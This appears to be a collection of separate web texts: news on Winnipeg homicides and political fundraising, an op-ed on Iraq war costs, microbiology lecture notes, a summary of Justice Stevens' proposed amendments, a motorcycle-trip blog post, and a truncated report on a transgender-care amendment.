-Winnipeg police have released photos of a person they want to talk to after two men were "brutally killed" in the city's downtown area, likely at the hands of the same person.  Winnipeg police say the man in this photo is a person of interest after two homeless people were 'brutally killed' in downtown Winnipeg Saturday. (Winnipeg Police Service) The man was wearing an over-the-shoulder bag with green detailing. (Winnipeg Police Service) The body of a man in his 60s was found in the alley behind 329 Hargrave St. early Saturday at 12:45 a.m.  The body of another man in his 40s was found close by at 6:30 p.m. in the alley behind 333 Portage Ave.  One of the victims was homeless, while police said the other spent a lot of time on the streets. Both had mental health and/or addiction issues, police said. Investigators believe both deaths are related and that one suspect is responsible.  Winnipeg police released the photos early Sunday afternoon.  "This male is in the area during the times of the homicides and he may have had contact with the victims and he could have very valuable information for us," said Sgt. John O'Donovan.  "There are a number of vulnerable persons on the streets of Winnipeg. When you're out and about, please pay particular attention to these people. They're often invisible, but make sure that they're safe and they're not being harassed by anybody."  O'Donovan added police are also looking for two other people, a man and a woman, who were in the Hargrave Street area between 9:30 p.m. and 9:45 p.m. Friday night. None of the persons of interest are considered suspects at this time.  Killings a wake-up call  Sel Burrows, a community organizer and head of a citizen watch group in the North Point Douglas area, said the killings should be considered a wake-up call for Winnipeggers.  "Absolutely horrible," said Burrows, adding that the killings are "un-Canadian."  "This is not what happens to vulnerable people in Canada."  Burrows said many vulnerable people don't have cellphones or internet access, so he'll be doing everything he can to notify people in his community to be safe.  Police are asking everyone who is homeless or spends time on the street to be careful, stay away from secluded areas and stick with others if possible.  "Please, people of Winnipeg, if you're out and about and you see something that doesn't sit right with you, call the police. Use your cell phone. If it's safe to do so ... take photos and get them to us. We will follow up on every lead," said O'Donovan.  "These vulnerable people are part of our community and it's all our responsibility to keep them safe."  Previous Next  Dan Maxson, director of operations at Siloam Mission, said he was saddened to hear someone is targeting street people, who rely on the shelter's services.  "My immediate thoughts went back to the fact that there are going to be families that are going to be devastated by this," said Maxson. "That dismay, that this, again happened in our community: that was kind of my first thought."  It's happened in other cities, but I didn't think Winnipeg would have this. - Dan Maxson, Siloam Mission  But Maxson also said he wasn't overly surprised by the killings either.  "This community is targeted for lots of reason," said Maxson. "This is the extreme end of the spectrum and it's really sad that it's come to this. It's happened in other cities, but I didn't think Winnipeg would have this."  He praised the police service's response to the incidents, adding he hopes investigators catch the suspect before anyone else gets hurt.  "Hats off to the police service for quickly jumping on that. They came by last night and gave a heads up to our shelter staff and we were able to pass that along to the shelter," said Maxsen."They've come by a couple times a day just to kind of check on things. The police service here has really stepped up their game and their interaction and they're working with the shelters."  Previous Next  A group of about 50 Winnipeggers gathered on Donald Street near Hargrave to hold a vigil for the two men Sunday night.  Anyone who may know about these deaths is asked to call Winnipeg's homicide unit at (204) 986-6508 or Crime Stoppers at (204) 786-TIPS (8477).
-WASHINGTON -- Mississippi Governor Haley Barbour is joining American Crossroads and Crossroads GPS, an influential Republican Super PAC and an affiliated non-profit group, to help them reach their newly doubled fundraising goal of $240 million to spend on the 2012 presidential election.  The two groups were founded in 2010 by Republican strategists Karl Rove and Ed Gillespie after the Supreme Court's Citizens United v. Federal Election Commission decision opened the door to unlimited corporate, union, and individual spending in elections. The decision also allowed certain nonprofits, which are not required to disclose their funding sources, to run direct electoral advertisements calling for the election or defeat of candidates. Both groups can receive unlimited contributions, but Crossroads GPS, which is a 501(c)(4) nonprofit, does not have to disclose its donors.  "Both Governor Barbour and Karl Rove are prodigious fundraisers and brilliant strategists, and we are honored to have them both engaged with us," Steven Law, president of both groups, said in a statement. "We are reaching high in our fundraising goals because we believe this is going to be a destiny-shaping election for our country."  Barbour, who passed on running for the Republican presidential nomination in April, is a well-known fundraiser from his time as chairman of the Republican National Committee (RNC) from 1993 to 1997 and the Republican Governors Association (RGA) from 2009 through 2010. Barbour pulled in a record-setting $115 million for the RGA during the 2010 cycle after he took over in mid-2009 from Mark Sanford, then the Governor of South Carolina, who resigned as chair amid a sex scandal.  American Crossroads and Crossroads GPS spent a combined $38 million in 2010, which amounted to the fourth largest total spent by an outside group, ahead of the National Republican Senatorial Committee (NRSC) and behind only the other three congressional party committees.
-Writing in these pages in early 2008, we put the total cost to the United States of the Iraq war at $3 trillion. This price tag dwarfed previous estimates, including the Bush administration's 2003 projections of a $50 billion to $60 billion war.  But today, as the United States ends combat in Iraq, it appears that our $3 trillion estimate (which accounted for both government expenses and the war's broader impact on the U.S. economy) was, if anything, too low. For example, the cost of diagnosing, treating and compensating disabled veterans has proved higher than we expected.  Moreover, two years on, it has become clear to us that our estimate did not capture what may have been the conflict's most sobering expenses: those in the category of "might have beens," or what economists call opportunity costs. For instance, many have wondered aloud whether, absent the Iraq invasion, we would still be stuck in Afghanistan. And this is not the only "what if" worth contemplating. We might also ask: If not for the war in Iraq, would oil prices have risen so rapidly? Would the federal debt be so high? Would the economic crisis have been so severe?  The answer to all four of these questions is probably no. The central lesson of economics is that resources -- including both money and attention -- are scarce. What was devoted to one theater, Iraq, was not available elsewhere.  Afghanistan  The Iraq invasion diverted our attention from the Afghan war, now entering its 10th year. While "success" in Afghanistan might always have been elusive, we would probably have been able to assert more control over the Taliban, and suffered fewer casualties, if we had not been sidetracked. In 2003 -- the year we invaded Iraq -- the United States cut spending in Afghanistan to $14.7 billion (down from more than $20 billion in 2002), while we poured $53 billion into Iraq. In 2004, 2005 and 2006, we spent at least four times as much money in Iraq as in Afghanistan.  It is hard to believe that we would be embroiled in a bloody conflict in Afghanistan today if we had devoted the resources there that we instead deployed in Iraq. A troop surge in 2003 -- before the warlords and the Taliban reestablished control -- would have been much more effective than a surge in 2010.  Oil  When the United States went to war in Iraq, the price of oil was less than $25 a barrel, and futures markets expected it to remain around that level. With the war, prices started to soar, reaching $140 a barrel by 2008. We believe that the war and its impact on the Middle East, the largest supplier of oil in the world, were major factors. Not only was Iraqi production interrupted, but the instability the war brought to the Middle East dampened investment in the region.  In calculating our $3 trillion estimate two years ago, we blamed the war for a $5-per-barrel oil price increase. We now believe that a more realistic (if still conservative) estimate of the war's impact on prices works out to at least $10 per barrel. That would add at least $250 billion in direct costs to our original assessment of the war's price tag. But the cost of this increase doesn't stop there: Higher oil prices had a devastating effect on the economy.  Federal debt  There is no question that the Iraq war added substantially to the federal debt. This was the first time in American history that the government cut taxes as it went to war. The result: a war completely funded by borrowing. U.S. debt soared from $6.4 trillion in March 2003 to $10 trillion in 2008 (before the financial crisis); at least a quarter of that increase is directly attributable to the war. And that doesn't include future health care and disability payments for veterans, which will add another half-trillion dollars to the debt.  As a result of two costly wars funded by debt, our fiscal house was in dismal shape even before the financial crisis -- and those fiscal woes compounded the downturn.  The financial crisis  The global financial crisis was due, at least in part, to the war. Higher oil prices meant that money spent buying oil abroad was money not being spent at home. Meanwhile, war spending provided less of an economic boost than other forms of spending would have. Paying foreign contractors working in Iraq was neither an effective short-term stimulus (not compared with spending on education, infrastructure or technology) nor a basis for long-term growth.  Instead, loose monetary policy and lax regulations kept the economy going -- right up until the housing bubble burst, bringing on the economic freefall.  Saying what might have been is always difficult, especially with something as complex as the global financial crisis, which had many contributing factors. Perhaps the crisis would have happened in any case. But almost surely, with more spending at home, and without the need for such low interest rates and such soft regulation to keep the economy going in its absence, the bubble would have been smaller, and the consequences of its breaking therefore less severe. To put it more bluntly: The war contributed indirectly to disastrous monetary policy and regulations.  The Iraq war didn't just contribute to the severity of the financial crisis, though; it also kept us from responding to it effectively. Increased indebtedness meant that the government had far less room to maneuver than it otherwise would have had. More specifically, worries about the (war-inflated) debt and deficit constrained the size of the stimulus, and they continue to hamper our ability to respond to the recession. With the unemployment rate remaining stubbornly high, the country needs a second stimulus. But mounting government debt means support for this is low. The result is that the recession will be longer, output lower, unemployment higher and deficits larger than they would have been absent the war.  * * *  Reimagining history is a perilous exercise. Nonetheless, it seems clear that without this war, not only would America's standing in the world be higher, our economy would be stronger. The question today is: Can we learn from this costly mistake?  Joseph E. Stiglitz, a professor at Columbia University, was chairman of President Bill Clinton's Council of Economic Advisers and winner of the Nobel Prize in economics in 2001. Linda J. Bilmes is the Daniel Patrick Moynihan senior lecturer in public policy at Harvard University. They are co-authors of "The Three Trillion Dollar War: The True Cost of the Iraq Conflict."
-Lecture Outline Bacterial Growth  1. Cell division (an asexual process):  binary fission: diagram (see Fig. 6.1). Process has two functional pathways: DNA replication and segregation and cell septation. Cells have a way of regulating that septation does not occur until ~ 20 minutes are DNA replication has been completed. Cytokinesis, a term used to describe formation of two eukaryotic daughter cells, is now being used to describe cell division in prokaryotes.  What are divisomes and what is the role of Fts proteins in cell divsion?  What is known about how cells locate center of cell where septation will occur?  generation time or doubling time: time it takes a cell to divide or for the culture to double its numbers. Each bacterial species, under optimal growth conditions, can divide only so fast (have a minimum generation time). The generation time is effected by the growth medium, and the physical/chemical environment of the cell (see below).  Growth is exponential/logarithmic: can attain large numbers in a short interval of time (starting with a single cell, mass 1-2 X 10-12 grams, with a generation time of 30 min, if could keep growth exponential for 43 hrs would result in a mass of cells equal to the weight of the earth, 6 X 1027 grams!)  2. Methods to monitor growth. See sections 6.9-6.11  3. Ways to grow prokaryotes in laboratory:  Batch culture (also known as a closed system)- a finite amount of nutrients is provide and culture is grown under a set of physical/chemical conditions (pH, aeration, etc.). As cells grow their environment changes (nutrients depleted, by-products of metabolism release to environment). Cells are dividing asynchronously. phases of growth- lag, log(exponential), stationary, death (Fig.6.10). How would the phases of growth differ between E . coli and B . megaterium ? During which phase would the generation time of the culture be determined?  Continuous culture- chemostat (Fig. 6.11). How does a chemostat differ from a batch culture, and what does growing in a chemostat allow you to do that is difficult, if not impossible, to do in a batch culture?  4. Classifying organisms by their carbon, energy, and source of protons/electrons allows identification of 4 major nutritional groups using this information. See Table 5.1, 5.2, and 5.3  5. Types of Media.  Minimal or a chemically defined: contains the bare essentials needed for growth (types and amount of chemicals known). A minimal medium for one species may not satisfy the minimal requirements for another species.  complex or undefined: contains substances that bacterium could make for it self, but instead substances are transported in and used (exact composition of medium less certain).  enrichment: contains a substance that enhances the growth of a prokaryote (Example, a medium containing oil which is not a suitable carbon source for most bacteria or serum or blood used to grow S . pyogenes or N . gonorrhoeae ).  . or . ). selective: contains a substance that inhibits the growth of certain bacteria in a mixed culture, but not the bacterium of interest (Example, the addition of 7.5% NaCl to medium inhibits the growth of most bacteria, but not a salt tolerant bacterium like Stap. aureus ).  ). differential media: contains a substance that is noticeably changed if a specific bacterial species is present (blood agar medium, get zone of red blood cell lysis, b - hemolysis, if Streph . pyogenes is present.  hemolysis, if . is present. selective and a differential medium (EMB medium). EMB (Eosin-methylene blue agar) used to select for gram-negative enteric bacteria. The methylene blue inhibits gram-positive bacteria (mechanism unclear), eosin is a dye that responds to changes in pH, going from colorless to black under acidic conditions. Medium contains lactose and sucrose, but not glucose, as energy sources. Enteric bacteria like E. coli, Klebsiella, and Enterobacter acidify the medium and the colonies appear black with a greenish sheen. Colonies of lactose nonfermenters, such as Salmonella, Shigella, and Pseudomonas are translucent or pink.  6. Factors that effect growth.  nutritional environment (medium): a prokaryote growing in a complex medium will have a shorter generation time than if it were growing in a minimal medium. Why?  Temperature: Every bacterial species has an upper and a lower temperature over which growth can occur. Optimal temperature for growth is closer to upper temperature limit that bacterium can tolerate (Fig. 6.18). Groups- psychrophiles, psychrotolerant, mesophiles, thermophiles, and extreme thermophiles (Fig. 6.19). What factors account for thermostability?  Oxygen (requirement for/sensitivity to): Groups- obligate aerobes, facultative aerobes (some text refer to this group as the faculative anarobes), microaerophiles, aerotolerant, and obligate anaerobes (Fig 6.27 and table 6.4). How can one explain the requirement for oxygen and sensitivity to toxic forms of oxygen? What are the various forms of toxic oxygen generated and how are they dealt with by organisms? See Fig. 6.29 and 6.30  Water availability- Water may be present in the cells' environment, but not available to them. How is this possible? How do extreme halophiles (high salt loving bacteria), osmophiles (grow in high osmolarity, i.e., high sugar, environments), and xerophiles (live in dry environments) cope with this problem in their environments?  (high salt loving bacteria), (grow in high osmolarity, i.e., high sugar, environments), and (live in dry environments) cope with this problem in their environments? Acidity/alkalinity (pH) of medium:  revised 9/24/09  Binary fission:  Source of Carbon, Energy, and Protons/Electrons Carbon Source Autotrophs CO2 sole or principal biosynthetic carbon source. Heterotrophs Reduced, preformed, organic molecules. Energy Source Phototrophs Light Chemotrophs Oxidation of organic or inorganic compounds Proton and/or Electron source Lithotrophs Reduced inorganic molecules Organotrophs Organic molecules  Major Nutritional Groups of Microorganisms Major Nutritional Type Source of Energy, Protons/Electrons and Carbon Representative Organisms Photolithotrophic autotrophy light energy Algae, cyanobacteria, and inorganic H+/e- donor purple and green bacteria CO 2 carbon source Photoorganotrophic heterotrophy light energy source Purple and green and non sulfur bacteria Organic H+/e- organic carbon source (CO 2 may also be used) Chemolithotrophic autotrophy Chemical energy (inorganic) Sulfur-oxidizing, hydrogen, Inorganic H+/e- donor nitrifying, iron bacteria, etc. CO 2 carbon source Chemoorganotrophic heterotrophs Chemical energy (organic) Protozoa, fungi, and the Organic H+/e- donor non photosynthetic bacteria Organic carbon source  Methods to Determine Bacterial Growth:  A. Determination of cell number:  1. Total cell count methods: a. Direct microscopic count- See fig. 6.14 Advantages- quick and easy disadvantages- can not distinguish between live and dead cells, and can not detect less than 106 bacteria/ml. b. Coulter count (electronic count): Advantages- very quick and easy Disadvantages- same as above plus can end up counting dust and debris. Apparatus very expensive. 2. Viable cell count method: See fig. 6.15 and 6.16 Rationale, a single cell will give rise to a colony of cells that is visible to eye. By determining the number of colonies on a plate and the volume of liquid they were in (amount plated), can determine number of cells/ml. However, when have more than 300 colonies on plate they become to numerous to count. This is addressed by making a series of dilutions (will be held for 1:10 and 1:100 dilutions. For example 0.1ml in 0.9ml of a sterile diluent is a 1:10 dilution or a 10-1 dilution). The amount plated can be 1ml or 0.1ml. To determine the number of bacteria in a sample, count the number of colonies (want between 30-300), multiply times one over the total dilution, times one over the amount plated: equation to use is: # of bacteria/ml = number of colonies counted X 1/dilution X 1/sample plated advantages- can count as few as 1 bacterium/ml, and only count live cells. disadvantages- requires time for growth, may need to make dilutions of preparation and make dilution calculations (examples). Also,cells that clump or remain in groups that do not seperate, i.e., chains, will give a number that underestimates the number of viable cells present.  B. Determination of cell mass-  1. dry weight determination: advantages- only way to determine growth of filamentous bacteria. disadvantages- cumbersome and not very accurate. If cell numbers important must relate weight to cell numbers if possible. 2. Turbidity (measured by photometer or a spectrophotometer): What is the basis of this method to monitor cell growth? See fig. 6.17 advantages- rapid and easy disadvantages- does not give you cell numbers or increase in mass (must correlate turbidity, cloudiness, to cell numbers by the direct or viable cell count method), can not distinguish between live and dead cells, and must work within certain turbidity's (more than 107 and less than 108 bacteria/ml).  C. Determination of cell constituents- measure increase in a specific cell material, i.e., DNA, RNA, Protein, or etc.  Dilution Problems:  Equation to use: no. of bacteria/ml in original sample = no. of colonies on plate X 1/total dilution X 1/ volume sample plated.  1. You are interested in determining the number of bacteria in saliva. You spit into a tube, and then do four 1:10 dilution's. From the last dilution tube you plate 1.0 ml onto an appropriate medium, and observe 100 colonies on the agar surface after overnight growth. How many bacteria are present in the original sample?  2. A friend of yours tells you that there should be no bacteria in hamburger meat, and having had micro you say not true. To show him/her you do the following: You take 1 gram of meat and blend it in 100 ml of sterile water. You then do the following dilution: 1:10, 1:100, 1:10, and a 1:100. You then take 0.1ml from the last dilution, and plate onto an appropriate medium, and find that after 18 hours of growth that there are 125 colonies on the plate. How many bacteria were present in the original sample, per ml of blended material and per gram of hamburger meat?  Toxic forms of oxygen:  Toxic Forms of oxygen (in order of decreasing toxicity Name Formula Generated by Destroyed Ozone O 3 irradiation of O 2 by UV or high voltage discharge fluorocarbons hydroxyl radical OH . H 2 O 2 + O 2 - (x-rays, gamma rays) ** Spontaneously, very unstable Superoxide O 2 - enzymatically (flavins and quinones) superoxide dismutase (SOD) Hydrogen peroxide H 2 O 2 enzymatically (flavoproteins) catalase or peroxidase singlet oxygen 1O 2 enzymatically or chemically (smog, light) ** reaction with carotenoid pigments  **  Requirement/sensitive to toxic forms of oxygen and presence of SOD and/or catalase/peroxidase:
-1. The "Anti-Commandeering" Rule: In 1997, by a 5-4 vote, the Supreme Court, created an "anti-commandeering" rule, which bans Congress from ordering state officials to carry out federal duties. The case was brought by two county sheriffs, who did not want to do background checks for firearm sales as ordered by the Brady Act. The new rule led to holes in the database that would allow persons prone to violence, like the killer in the 2007 Virginia Tech mass shooting, to get firearms. Stevens notes that the "anti-commandeering" rule could also cripple other Congressional acts, from routine administration of federal programs to emergency responses to national catastrophes or acts of terror. His fix adds four words (in bold below) to the Constitution's Supremacy Clause:  This Constitution, and the Laws of the United States which shall be made in Pursuance thereof; and all Treaties made, or which shall be made, under the Authority of the United States, shall be the supreme Law of the Land; and the Judges and other public officials in every State shall be bound thereby, any Thing in the Constitution or Laws of any State to the Contrary notwithstanding.  2. Political Gerrymandering: Given that he has not heard one word in favor of political gerrymandering from any federal judge, Stevens believes that his amendment addressing it should sail through into law. He points out that, in addition to making legislative districts less representative and less competitive, political gerrymandering tends to give us candidates with more extreme positions. In 1986 the Supreme Court made it practically impossible to challenge gerrymanders by setting a lofty and cloudy standard: "[A] finding of unconstitutionality must [show] continued frustration of the will of a majority of the voters or effective denial to a minority of the voters of a fair chance to influence the political process." Stevens takes a simpler view: "Just as a controlling political party may not use public funds to pay its campaign expenses, it is also quite wrong to use public power for the sole purpose of enhancing the political strength of the majority party." He would ban that abuse of power with this new amendment:  Districts represented by members of Congress, or by members of any state legislative body, shall be compact and composed of contiguous territory. The state shall have the burden of justifying any departures from this requirement by reference to neutral criteria such as natural, political, or historic boundaries or demographic changes. The interest in enhancing or preserving the political power of the party in control of the state government is not such a neutral criterion.  3. Campaign Finance: We have gone far down the road to corruption since 1907, when Congress passed a law banning all corporate contributions to political candidates, and many states enacted, outside of narrow lobbying rules, a total ban of corporate activity to influence public policy. In 2010, by a 5-4 vote, the Supreme Court, led by Chief Justice John Roberts, produced the infamous Citizens United ruling giving corporations the unlimited right to finance campaign speech. And last year, by the same 5-4 vote, the Roberts Court struck down any limit on total donations a person could make to candidates, giving rich persons the right to spend millions in a single election. The strongest proposed amendment addressing this problem states that corporations are not persons and money is not speech. Stevens' amendment states neither, but he believes it would eliminate "the most serious consequences" of Citizens United:  Neither the First Amendment nor any other provision of this Constitution shall be construed to prohibit the Congress or any state from imposing reasonable limits on the amount of money that candidates for public office, or their supporters, may spend in election campaigns.  4. Sovereign Immunity: The Eleventh Amendment, banning a citizen of one state from suing another state in federal court, was prompted by states that wanted to dodge their war debts. Their reasoning leaned on "sovereign immunity," a principle that holds the "sovereign," any of the individual states in this case, above the law, shielding it from court action. Stevens says that this doctrine "should never have been adopted in a democracy." He notes an argument against it from the famous Justice Oliver Wendell Holmes: "It is revolting to have no better reason for a rule of law than that it was so laid down in the time of Henry IV. It is still more revolting if the grounds upon which it was laid down have vanished long since and the rule simply persists from blind imitation of the past." Since the arrival of Rehnquist, the Supreme Court has made a series of rulings that stretched sovereign immunity and weakened state compliance with national law. For example, in 1974 a Rehnquist opinion let Illinois skate on paying damages for past non-compliance with a federal law for aiding aged, blind and disabled persons. And in 1999 the Rehnquist Court, citing an unwritten state sovereignty rule imagined to be in the "plan of the [Constitutional] Convention," forbade Congress to authorize suing a state for violations of the Fair Labor Standards Act. To Stevens, striking down the sovereign immunity doctrine is a matter of simple justice. A state-owned hospital, school, or police force should not have a defense to federal claims that a private one does not. To right this wrong Stevens adds an amendment:  Neither the Tenth Amendment, the Eleventh Amendment, nor any other provision of this Constitution, shall be construed to provide any state, state agency, or state officer with an immunity from liability for violating any act of Congress, or any provision of this Constitution.  5. The Death Penalty: Stevens points out the main arguments for the death penalty: that it keeps the murderer from murdering again; that it deters murder; and that it gives revenge for society's outrage. But there are good counter-arguments: that a sentence of life without parole also keeps the murderer from murdering again; that it would as well deter murder; and that society has evolved away from vengeance, as shown by its concern that death sentence execution be painless. Another strong argument is that the death penalty is final, yet fallible. Especially with the rise of DNA testing technology, many cases of false convictions have come to light. Under Chief Justice John Roberts, two Supreme Court rulings, including one upholding a judge's instruction to a jury to choose death when the evidence for and against it is balanced, have made the death penalty a bit more likely. To Stevens, the "final, yet fallible" argument is reason enough to abolish the death penalty, which he would do by adding five words to the Eighth Amendment:  Excessive bail shall not be required, nor excessive fines imposed, nor cruel and unusual punishments such as the death penalty inflicted.  6. Gun Control: For more than two hundred years, federal judges have, according to Stevens, uniformly understood the Second Amendment to be limited in two ways. One, that it applies only for military purposes, and two, that, while it limited the power of the federal government, it did not limit the power of state or local governments to regulate ownership or use of firearms. Thus, in 1939 the Court ruled unanimously that Congress could ban possession of a sawed-off shotgun because that weapon had no reasonable relation to "a well regulated Militia." But the Roberts Court has twice ruled against governments trying to tamp down gun violence. In 2008, a 5-4 majority, citing the Second Amendment, threw out a Washington, D.C., law and created a new Constitutional right for a civilian in D.C. to keep an enabled handgun at home for self-defense. And in 2010, the same 5-4 Court, citing the Due Process Clause of the Fourteenth Amendment, threw out a Chicago handgun ban, and extended the Court's newly-created Constitutional right to the states. To restore the Second Amendment to its original meaning, and to return the power of regulating firearms to state and local governments, Stevens adds five words to the Second Amendment:  A well regulated Militia, being necessary to the security of a free State, the right of the people to keep and bear Arms when serving in the Militia, shall not be infringed.  As time passes, I am confident that the soundness of each of my proposals will become more and more evident, and that ultimately each will be adopted. The purpose of this book is to expedite that process and to avoid future crises before they occur.  List of Supreme Court Cases Referenced  Putting Stevens' amendments through looks like a long row to hoe. But, as Bertrand Russell once said of his own proposal for political change, "[T]he difficulty ... does not diminish the desirability of such a change." And Stevens is undaunted:  (From The Paragraph.) [Sources & Notes]  * * *  By Quinn Hungeski, TheParagraph.com, Copyright (CC BY-ND) 2015
-A few years ago I made a pact with my motorcycle-riding friend that within three years we would go on a motorcycle camping trip. Since I had just gotten my Motorcycle endorsement through the Motorcycle Safety Foundation, this meant I would need to find a bike and hone my skills enough to navigate through some rural terrain with camping gear, and make it back alive.  My friend had been lucky enough to have been riding since childhood, starting out on dirt bikes on country roads. As a kid I begged my mom to let me ride dirt bikes with my best friend, but was never allowed and wasn’t quite yet witty or sneaky enough to go ahead and do it anyway.  (Yes, my wheel is turned a precarious direction. It’s that sweet, humbling learning curve. My companion was so kind as to take a majority of our gear on the F800GS, as I was unsure about my own balance with the added weight and how it might affect me as a new rider on my first big trip. Well, that was a nice first free pass. I’m on my own now!)  I had just gotten my motorcycle endorsement at the time of the pact, but didn’t yet have the funds to buy a bike, gear, and insurance. I worried the career track I was on (fresh out of college and still waiting tables and working seasonal retail jobs) wouldn’t allow me to get the money within the time frame, but decided I could, and would, find a way to save up and make this happen. Two years later, it did. Will, way, you know the deal. Plan for it, people. Make it a priority, even if it means cutting back on nights out with friends, or more beans and rice.  Opportunity arose when a buddy was selling his problem-child ’84 CB700SC Nighthawk S for a steal, and I jumped. I had admired the vintage style of this particular bike, and was developing quite the crush on the CB series. And she (my baby, er, bike. Fuck it–baby) was so good to me from the get go. Of course all new riders need to meet their mandatory quota of new-rider humiliation, so first I needed to drop her in the DMV parking lot right after registering the bike and making our relationship official. And then I had to crash into some bushes in an attempted U-turn. You know, for learning’s sake, we all need those not-so-gentle reminders that just because we ride a motorcycle doesn’t mean we’re cool. It will happen to you. Feel the feels, and then move on. Wear it like a badge of honor and share your stories with new riders to ease their pain.  After riding my new-to-me motorcycle with glee any chance I got, including commuting to work, and reading up on sport riding technique, I was on my way to booking a camp site and fulfilling my promise.  I will never forget the feeling after leaning through the exit ramp off of a crowded six-lane stretch of Interstate 5 on fourth of July weekend and rolling onto that two-lane country scenic route, past farms of alpacas, Christmas trees, and orchards, looking at the meadows of rolling hills on either side of me, and feeling the temperature rise and fall as we rode over the hills, smelling and feeling the mountain run-off rivers before seeing them, and watching a Swallowtail butterfly float across the road before zipping past it. My eyes welled up a little, being immersed in so much natural beauty, and in the middle of this dream-turned-reality.  350 miles of back roads took us through Mt. Hood National Forest, the Willamette National forest, and the Deschutes Nation Forest past the Three Sisters, Mt Washington, and the Three Fingered Jack. Micro-climates changed from the temperate valley to alpine to high desert. We wound through roads edged by cliff drop offs on one side and the threat of falling rocks on the other, through sharp blind curves, and around boulders.  I can still hear and feel the sound and scrape of my first ever foot peg against asphalt on a cliff side twisty. It sent my stomach downward somewhere near my nether regions like a lead ball. Yet in this adrenaline filled “I WANT TO LIVE!” moment, I managed to look where I wanted to go and accelerate out of that curve with a newfound alertness and awareness that I could low side right off a cliff if I wasn’t careful. But this didn’t make me want to quit. It made me respect the machine I ride, take responsibility for my actions and accept that this is a sport I will need to keep learning for the rest of my life. And I realized that the payoff, of being totally alive in this moment, immersed in the world, and present, all senses attuned to the world around me, was worth the risk of death.  Growing up in South Chicagoland, everything was and is very developed, so I am still amazed by how much untouched beauty and “rugged” land remains in the United States. I don’t just mean state and national parks, either, but the number of cliff side mountain roads without so much as a guardrail still amazes me, and it’s a great wake up call to enjoy the view, but stay awake.  We rode along rocky snow melt rivers, and in the 100 plus degree heat and relentless sun, it was a welcome relief to soak our bandanas and t-shirts, letting each fiber absorb the icy relief before changing back into them. Beneath our baked black leather jackets, we enjoyed a moment of this DIY air conditioning before drying out and heating back up in minutes on the afternoon pavement atop metal machines being propelled by a series of gasoline explosions.  (Water! River! Shade! Yusssssssss!)  I received my first mid-ride bee sting up the sleeve of my jacket and into the soft underside of my upper arm. It took me by surprise, the quick surge of stinging pain, and it had been decades since I’d been stung at all. I pulled over to find out for sure what happened, and to gauge my reaction, honking and waving to my riding companion that I needed to pull over (In retrospect, we should have worked out some better hand signals ahead of time.)  I opened my jacket to find the stinger dangling from the puffy red ink blot on my arm, and pulled it out, taking a minute to make sure I wasn’t allergic. Luckily, it’s hard to be mad on a summer day on your first motorcycle headed to a beautiful lake to camp and follow up on a big life goal you set three years ago. It becomes a little funny when you get stung again, a hundred miles later, inches apart from the first sting.  Rolling up to the campgrounds, the Honda CB700SC took well to the gravel roads around Suttle Lake, albeit while abiding to the 10mph speed limit. I was a little nervous having wiped out from hitting patch of gravel on a little 50cc Kawasaki over a country creek bridge a couple years earlier, which ended with me landing in a ditch, but I remembered to ease off the death grip on the handles, and ride out the grooves and squiggles attentively, obeying the speed limit so as to take a precaution for all the pedestrians, children, and potentially imbibed adults buzzing from every pocket of the campground on a busy Fourth of July weekend.  We had been looking forward to peace and quiet in a rural setting, and were a bit taken aback at the size and sound of the crowds. We knew the campground was full, and had wound up with a corner site by cancellation luck, and were delighted to find a private spot totally not visible from any other camping spots (could even do a nudie dance back there without worrying about someone sneaking up from the thicket… if you wanted to.) Plus there was about a quarter acre of spacious woods surrounding three sides of our site. A view of the lake was accessible a few steps down the hill, and sitting propped up against a large Ponderosa pine would be the site for meditating, drinking, writing, reading, sunset viewing and relaxing in the days to come. We were thrilled to have this little private patch on the beautiful Suttle lake.  Waking up to the sound of jet skis in the morning, and the sound of jet skis in the afternoon was jarring at first, having expected a rural retreat, but ultimately we were just a little jealous we couldn’t give them a test ride. Plus, we ought to know about expectations by now. Fuck ’em, toss ’em in the wind!  Day one was spent walking around the Lake, viewing Mt Adams, and heading to Sisters for goods to make bratwurst over the campfire and grab some cold beer. The town was small, quaint, a bit touristy, but was warm and friendly all the same. It definitely had an old-west feel, which I learned later is part of the homeowners association guidelines and regulations. A few charm points lost in that, but a lovely town and experience all around.  Day two was spent hiking around the lake again, and taking our inflatable inner-tubes—no sorry, River Rats, purchased from the town grocery store, and floating the length of the lake, and letting the wind lead the way. It was incredibly relaxing to watch the water glisten, and float almost the entire length of Suttle Lake (sometimes at a good pace with the wind kicking in) and feeling the rays of sun offer their sweet kisses to our skin before the burn that would keep us warm that night. It was also great to rinse off after sweating on bike the day before, collecting all that high desert dust.  We swam to shore before hitting the creek running from the Lake and through the grounds at the Lodge (which is beautiful, traditional, and has very kind staff that recommended a local biker bar in town and let us borrow some wifi. There are even little individual cabins you can rent on the property, with varying degrees of luxury and many with views of the lake.)  We walked back, the river rats subjected to the dense shrubs and wild roses lining the narrow path back to the campgrounds, and up the big hill to our site. Somewhere in the water I lost my sarong, but my friend found a Deschutes Brewing hat, so the universe felt balanced. The ride home was quieter, with less traffic, and another bee sting nearly an inch away from the first. (I have since been stung twice again, once more on the same arm—and one on the other arm. I’m more amused than irritated at this point.)  Bee stings aside, I returned home in a dream state of true vacation. Getting to your destination by motorcycle makes for an instant adventure. You are so immersed in the spirit of the land you ride through, and it helps launch you in that state of presence and recharge mode that tends to dwell with you after the fact, like an after glow. If there’s anything this trip taught me, it’s the benefit and growth that comes from doing what scares you, and from following through on your dreams. The reward is worth the pain of the learning curve (like dropping your new-to-you bike in the parking lot of the DMV right after getting it registered, or learning to not bruise your shins on the foot pegs.)  This trip showed me that motorcycling is one of the best ways to see nature, and to make the journey of getting there as good as the destination itself, if not better. It instilled in me a desire to travel the world atop a motorcycle. Maybe most importantly, though, this trip taught me that goals which seem insurmountable are really just a series of little steps you take with a little help from your friends.  Advertisements
-Republicans are battling behind the scenes over an amendment that would ban the Pentagon from funding the gender reassignment surgeries and other transgender-related healthcare of service members.  Members of the House Armed Services Committee rejected the proposal, which was put forward by Rep. Vicky Hartzler (R-Mo.) as an amendment to a Pentagon spending bill.  But supporters of the provision are now working to attach it to another piece of appropriations legislation that is headed to the House floor in the coming days.  The revival of the amendment comes over the objections of some House Republicans — particularly in the moderate GOP’s Tuesday Group — and Defense Secretary James Mattis.  Hartzler put forward the provision on care for transgender troops as an amendment to the National Defense Authorization Act (NDAA); it failed by a 214-209 vote.  Two-dozen Republicans came together with 190 Democrats to vote against the package, but things could shift if it comes up again: six GOP members abstained or didn’t vote on the NDAA amendments.  Many Republicans were shocked that the package failed, an aide said, and lobbyists who had worked on the issue also told The Hill that the outcome was far from certain — even in the moments before the vote.  “We had been working this issue for weeks. At each point, we just had hurdles we had to get over,” said one lobbyist advocating against the Hartzler 